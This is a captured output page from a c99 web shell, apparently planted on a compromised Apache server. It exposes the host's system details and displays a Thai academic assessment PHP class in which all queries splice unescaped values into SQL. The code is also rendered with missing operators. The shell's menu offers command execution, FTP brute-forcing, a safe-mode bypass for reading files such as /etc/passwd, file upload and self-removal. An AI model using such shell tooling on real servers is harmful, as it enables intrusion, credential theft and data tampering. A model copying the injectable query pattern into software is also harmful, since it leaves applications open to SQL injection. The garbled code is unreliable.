!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/eassess/admin/fileupdate/eassess/class/   drwxr-xr-x
Free 40.45 GB of 127.8 GB (31.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     2551-03-10-1.0.01-clsDefineAssessment.php (9.56 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//--Class DefineAssessment--------------------------
//--PK of DefineAssessment ::
//    1. defineid
//    2. acadYear
//    3. semester
//    4. noAss

class DefineAssessment extends clsDB{

var 
$result;

var 
$defineid;
var 
$assid;
var 
$startDate;
var 
$endDate;
var 
$acadYear;
var 
$semester;
var 
$noAss;
var 
$flag;
var 
$closeDate;

function 
DefineAssessment(&$c){
    
$this->c=$c->c;
    
$this->DB=$c->db;
}

function 
Save(){
//--ข้อมูลในอ๊อบเจ๊กเป็นข้อมูลใหม่หรือข้อมูลเดิม --1:ข้อมูลใหม่  2:ข้อมูลเดิม
    
if ($this->status==1){
        
//uncomment a line below if your table use ID as running number
        
$this->defineid=$this->GetNextCode();
        
$sql "insert into DefineAssessment values(
            '$this->defineid',
             '$this->assid',
             '$this->startDate',
             '$this->endDate',
             '$this->acadYear',
             '$this->semester',
             '$this->noAss',
             '$this->flag',
             '$this->closeDate'
            )"
;
    }else {
        
$sql "update DefineAssessment set 
            assid='$this->assid', 
            startDate='$this->startDate', 
            endDate='$this->endDate', 
            flag='$this->flag', 
            closeDate='$this->closeDate' 
            where defineid='$this->defineid' and acadYear='$this->acadYear' and semester='$this->semester' and noAss='$this->noAss'"
;
    }
    return 
$this->Dml($sql);
}

function 
Delete(){
//--ลบข้อมูลเดิมในอ๊อบเจ๊ก, เป็นการลบข้อมูลทีละ 1 เรคอร์ด
//--ต้องเรียกเมธอดตามลำดับดังนี้ SearchByKey()-->GetRecord()-->Delete()
    
return $this->Dml("delete from DefineAssessment where defineid='$this->defineid' and acadYear='$this->acadYear' and semester='$this->semester' and noAss='$this->noAss'");
}

function 
GetNextCode(){
//--หาค่าสูงสุดของฟิลด์ที่ใช้เป็นคีย์ของตาราง ในลักษณะ auto increment
//--ต้องเป็นฟิลด์ชนิดตัวเลขจำนวนเต็มเท่านั้น และไม่ได้กำหนดรหัสเองทางจอภาพ
    
$this->SetQuery("select max(defineid) as num from DefineAssessment");
    if (
$result=$this->GetResult()) {
        return 
$result['num']+1;
    }
}

function 
RSDefineAssessment(){
//--เมธอดที่ขึ้นต้นด้วย RS (ResultSet) มีความหมายว่าจะได้รับข้อมูลกลับมาจากการ select มากกว่า 1 เรคอร์ด
//--จะต้องเรียกเมธอด GetRecord() ด้วยเสมอ นำข้อมูลจาก ResultSet เข้าอ๊อบเจ๊ก
//--โดยสามารถเพิ่มเมธอดได้ตามต้องการ แต่ต้องขึ้นต้นด้วย RS
    
$this->SetQuery("select * from DefineAssessment order by acadYear DESC, semester,  noAss ");
}

function 
GetRecord(){
//--นำข้อมูลจาก ResultSet มากำหนดให้กับแอตทริบิวต์ของอ๊อบเจ็ก
//--เรียก GetRecord() หนึ่งครั้ง จะเลื่อนตัวชี้เรคอร์ดไปอีกหนึ่งเรคอร์ด
    
if ($this->result $this->GetResult()) {
        
$this->defineid $this->result['defineid'];
        
$this->assid $this->result['assid'];
        
$this->startDate $this->result['startDate'];
        
$this->endDate $this->result['endDate'];
        
$this->acadYear $this->result['acadYear'];
        
$this->semester $this->result['semester'];
        
$this->noAss $this->result['noAss'];
        
$this->flag $this->result['flag'];
        
$this->closeDate $this->result['closeDate'];
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByKey($xKey1$xKey2$xKey3$xKey4){
//--ค้นหาข้อมูลตาม PK ต้องระบุพารามิเตอร์ด้วย และต้องตามด้วยเมธอด GetRecord() เสมอ
    
if ($this->SetQuery("select * from DefineAssessment where defineid='$xKey1' and acadYear='$xKey2' and semester='$xKey3' and noAss='$xKey4'")){
        return 
1;
    }else {
        return 
0;
    }
}

//****************** You can add new functions below **********************//
function NumRow(){
    return 
$this->GetRowSelected();
}

function 
SearchByFlag($xKey1){
    if (
$this->SetQuery("select * from DefineAssessment where flag='$xKey1' order by acadYear , semester,  noAss ")){
        return 
1;
    }else {
        return 
0;
    }
}

function 
getMaxNoAss($xKey1,$xKey2){
    
$this->SetQuery("select max(noAss) as num from DefineAssessment where acadYear = '$xKey1' and flag = '$xKey2'");
    if (
$result=$this->GetResult()) {
        return 
$result['num'];
    }
}
function 
getMaxNoAssByAcadSemFlag($xacadYear,$xsemester,$xflag){
    
$this->SetQuery("select max(noAss) as num from DefineAssessment where acadYear = '$xacadYear' and semester = '$xsemester' and flag = '$xflag'");
    if (
$result=$this->GetResult()) {
        return 
$result['num'];
    }
}
function 
SearchByAcadSemNo($xacadYear,$xsemester,$xnoAss){
    if (
$this->SetQuery("select * from DefineAssessment where acadYear = '$xacadYear' and semester = '$xsemester' and noAss = '$xnoAss'")){ 
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByDefineid($xdefineid){
    if (
$this->SetQuery("select * from DefineAssessment where defineid = '$xdefineid'")){ 
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByAcadSemFlag($xacadYear,$xsemester,$xflag){
    if (
$this->SetQuery("select * from DefineAssessment where acadYear = '$xacadYear' and semester = '$xsemester' and flag = '$xflag' order by defineid")){ 
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchAssidByShow($xnowDate,$xflag,$xacadYear,$xsemester){
    if (
$this->SetQuery("select  *  from DefineAssessment where startDate <= '$xnowDate' and closeDate >= '$xnowDate' and flag = '$xflag' and acadYear = '$xacadYear' and semester = '$xsemester' order by defineid")){ 
        return 
1;
    }else {
        return 
0;
    }
}

//16/11/2006
function SearchByFlagAcadSem($xflag,$xacadYear,$xsemester){
    if (
$this->SetQuery("select  *  from DefineAssessment where flag = '$xflag' and acadYear = '$xacadYear' and semester = '$xsemester' order by defineid")){ 
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchAssidByShowFlag2($xnowDate,$xflag1,$xflag2,$xacadYear,$xsemester){
    if (
$this->SetQuery("select  *  from DefineAssessment where startDate <= '$xnowDate' and closeDate >= '$xnowDate' and (flag = '$xflag1' or flag = '$xflag2') and acadYear = '$xacadYear' and semester = '$xsemester' order by assid,flag")){ 
        return 
1;
    }else {
        return 
0;
    }
}

//16/11/2006
function SearchByFlag2FlagAcadSem($xflag1,$xflag2,$xacadYear,$xsemester){
    if (
$this->SetQuery("select  *  from DefineAssessment where (flag = '$xflag1' or flag = '$xflag2') and acadYear = '$xacadYear' and semester = '$xsemester' order by assid,flag")){ 
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchDefineidByAcadSemAssid($xacadYear,$xsemester,$xassid){
    
$this->SetQuery("select * from DefineAssessment where acadYear = '$xacadYear' and semester = '$xsemester' and assid = '$xassid'");
}

function 
RSAssessLimitByFlag($xflag,$xstart$xpageSize){
    
$this->SetQuery("select * from DefineAssessment where flag = '$xflag' order by acadYear , semester,  noAss limit $xstart, $xpageSize");
}

function 
RSAssessLimitByAcadSemFlag($xacadYear,$xsemester,$xflag,$xstart$xpageSize){
    
$this->SetQuery("select * from DefineAssessment where acadYear = '$xacadYear' and semester = '$xsemester' and flag = '$xflag' order by acadYear , semester,  noAss limit $xstart, $xpageSize");
}

function 
RSAssessLimitByAcadSemFlag2($xacadYear,$xsemester,$xflag1,$xflag2,$xstart$xpageSize){
    
$this->SetQuery("select * from DefineAssessment where acadYear = '$xacadYear' and semester = '$xsemester' and (flag = '$xflag1' or flag = '$xflag2') order by acadYear , semester,  noAss limit $xstart, $xpageSize");
}

function 
CountDefineidByAssid($xassid){
    
$this->SetQuery("select  count(defineid) as num  from DefineAssessment where assid = '$xassid'");
    
$result $this->GetResult();
    return 
$result['num'];
}

function 
CountDefineidByNowDateFlagAcadSem($xnowDate,$xflag,$xacadYear,$xsemester){
    
$this->SetQuery("select  count(assid) as num  from DefineAssessment where startDate <= '$xnowDate' and endDate >= '$xnowDate' and flag = '$xflag' and acadYear = '$xacadYear' and semester = '$xsemester'");
    
$result $this->GetResult();
    return 
$result['num'];
}

//16/11/2006
function CountDefineidByFlagAcadSem($xflag,$xacadYear,$xsemester){
    
$this->SetQuery("select  count(assid) as num  from DefineAssessment where flag = '$xflag' and acadYear = '$xacadYear' and semester = '$xsemester'");
    
$result $this->GetResult();
    return 
$result['num'];
}

function 
CountDefineidByFlag2AcadSem($xacadYear,$xsemester,$xflag1,$xflag2){
    
$this->SetQuery("select  count(assid) as num  from DefineAssessment where acadYear = '$xacadYear' and semester = '$xsemester' and (flag = '$xflag1' or flag = '$xflag2')");
    
$result $this->GetResult();
    return 
$result['num'];
}

// closeDate
function RSDefineAssessmentByAcYAndSeAndFlagAndBetweenSCDate($acY$se$flg$scDate){
    
$this->SetQuery("select * from DefineAssessment 
                                        where acadYear='$acY' and semester='$se' and flag='$flg' and '$scDate' between startDate and closeDate 
                                        order by defineid"
);
}

function 
RSDefineAssessmentByAcYAndSeAndFlagAndECDate($acY$se$flg$ecDate){
    
$this->SetQuery("select * from DefineAssessment 
                                        where acadYear='$acY' and semester='$se' and flag='$flg' and endDate<'$ecDate' and closeDate>='$ecDate' 
                                        order by defineid"
);
}

function 
RSDefineAssessmentByAcYAndSeAndFlagAndCoId($acY$se$flg$coId){
    
$this->SetQuery("select distinct(d.defineid), assid from DefineAssessment d, HoldCourse h, ClassAssess cl 
                                        where d.acadYear='$acY' and d.semester='$se' and d.flag='$flg' 
                                        and d.defineid=h.defineid and h.classId=cl.classId and cl.courseId='$coId' 
                                        order by d.defineid"
);
}

function 
RSDefineAssessmentByAcYAndSeAndFlagAndCoIdAndOfId($acY$se$flg$coId$ofId){
    
$this->SetQuery("select distinct(d.defineid), assid from DefineAssessment d, HoldCourse h, ClassAssess cl, ClassInStructorAssess ci 
                                        where d.acadYear='$acY' and d.semester='$se' and d.flag='$flg' 
                                        and d.defineid=h.defineid and h.classId=cl.classId and cl.courseId='$coId' 
                                        and cl.classId=ci.classId and ci.officerId='$ofId' 
                                        order by d.defineid"
);
}

//--End class DefineAssessment--

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0066 ]--